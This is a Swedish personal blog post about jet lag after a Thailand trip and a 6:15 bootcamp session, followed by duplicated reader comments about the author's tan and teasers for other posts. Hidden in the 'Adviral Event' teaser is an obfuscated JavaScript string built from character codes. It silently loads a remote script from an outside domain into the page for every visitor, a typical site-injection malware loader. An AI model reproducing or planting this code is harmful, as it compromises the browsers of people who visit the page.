Wörkout – Jetlag deluxe! -Bästa starten på vardagen!

 

53AB79B3-0C9C-4225-A12D-9BFB3336E803

Godmorgon!

Vilken kickstart! Jetlag av bara tusan! Sov inte en blund på planet hem… ( 10.5h ) Men jag hade det bra ändå…  några kapitel i boken, och fyra filmer 😄✈️ Jonas däremot sov hela tiden, förutom vid måltiderna😝😴

Kom hem, snö, köer och allt är preciiis som vanligt!☃️

Förutom det faktum att jag är SÅ mycket piggare! Och känner att jag mår bättre än på såååå länge! Denna energin jag fick i Thailand behövdes verkligen 🙏🏻🌴 Denna ska jag lev på långe, och fortsätta i samma spå är med fokus på mitt egna välmående och en helhetsbalans mellan jobb, privat, träning och vila☺️🙏🏻

Både Jonas och jag somnade båda två innan 21:00 igår. Då hade jag varit vaken i drygt ett dygn 😅😂 Men ÄNDÅ vaknade jag vid tre inatt, kunde inte somna om! 🙈 (inte Jonas nu heller 😴 SÅ avis på honom! )

Så klockan 06:15 var jag inne i stan, för mitt första Wörkout pass 😅👊🏻 Jag har bokat in mig på en bootcamp i 6 veckor! 😃

Dagens cirkel med Pischa & Andrea 👇🏻

3F84D863-1B6C-4C85-8E71-1F526C38AC2E

DAMN vilken rivstart!

Som jag saknat denna bönan!❤️ 43BB93C6-31EE-4E78-9939-4252A32E0FB7

Så nu är jag tillbaka i vardagen 👊🏻 💪🏻 Efter passet stod frukosten serverad…. -lyx!🙌🏻 Plus kaffe, frukt, och goda bars 😍

7F9C35D3-1374-4CF7-B5A7-411C00227D5CNu mot mina första möten med kollega Sus. Sen in på kontoret ☺️

-Jag är verkligen SÅ taggad på vardagen igen! Imorgon kommer Lilleman ❤️🙏🏻 I helgen katterna….. 😄

-vi hörs sen!

Puss

My Martens

30 Komentarer

    • Lilla rara du! Nog har du väl viktigare saker att oroa dig för än huruvida My är solbränd eller ej. I mitt tycke har My levererat en underbar reseskildring:-). Tack My för att du delat med dig av allt och lite till. Ser ut som Ni haft en ljuvlig resa!

    • Lilla rara du! Nog har du väl viktigare saker att oroa dig för än huruvida My är solbränd eller ej. I mitt tycke har My levererat en underbar reseskildring:-). Tack My för att du delat med dig av allt och lite till. Ser ut som Ni haft en ljuvlig resa!

  1. Det är väl bra att inte sola sönder sig! dessutom har vi olika pigment också ? Jag tycker my har en alldeles lagom fin solbränna ?

    • Ingen energi på såna som Stina ? En av alla dessa människor som inte mår så bra tyvärr, och måste projicera det på någon annan….
      -Tack fina??? jAg kör solskydd 30 på kroppen och 50 i ansiktet. Cancer, rynkor osv…. ändå ser det ut som om jag har en. Vit bikini när jag är naken ?? kram ?

  2. Det är väl bra att inte sola sönder sig! dessutom har vi olika pigment också 🤗 Jag tycker my har en alldeles lagom fin solbränna 😘

    • Ingen energi på såna som Stina 🙈 En av alla dessa människor som inte mår så bra tyvärr, och måste projicera det på någon annan….

      -Tack fina🙏🏻😎 jAg kör solskydd 30 på kroppen och 50 i ansiktet. Cancer, rynkor osv…. ändå ser det ut som om jag har en. Vit bikini när jag är naken 😂😅 kram 💕

  3. Har folk inget annat att göra än gnälla tycker du har en jättefin solbränna men det är väl avundsjuka som inte har råd att åka som piper så välkommen hem kram ???

    • Tack Lotta ??????
      Ingen idé att lägga energi på såna som Stina ? En av alla dessa människor som inte mår så bra tyvärr, och måste projicera det på någon annan….
      -Själv kör jag solskydd 30 på kroppen och 50 i ansiktet. Cancer, rynkor osv…. ändå ser det ut som om jag har en Vit bikini när jag är naken ?? kram ?

  4. Har folk inget annat att göra än gnälla tycker du har en jättefin solbränna men det är väl avundsjuka som inte har råd att åka som piper så välkommen hem kram 😁🤗💖

    • Tack Lotta 🙏🏻💕💕💕💕

      Ingen idé att lägga energi på såna som Stina 🙈 En av alla dessa människor som inte mår så bra tyvärr, och måste projicera det på någon annan….

      -Själv kör jag solskydd 30 på kroppen och 50 i ansiktet. Cancer, rynkor osv…. ändå ser det ut som om jag har en Vit bikini när jag är naken 😂😅 kram 💕

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/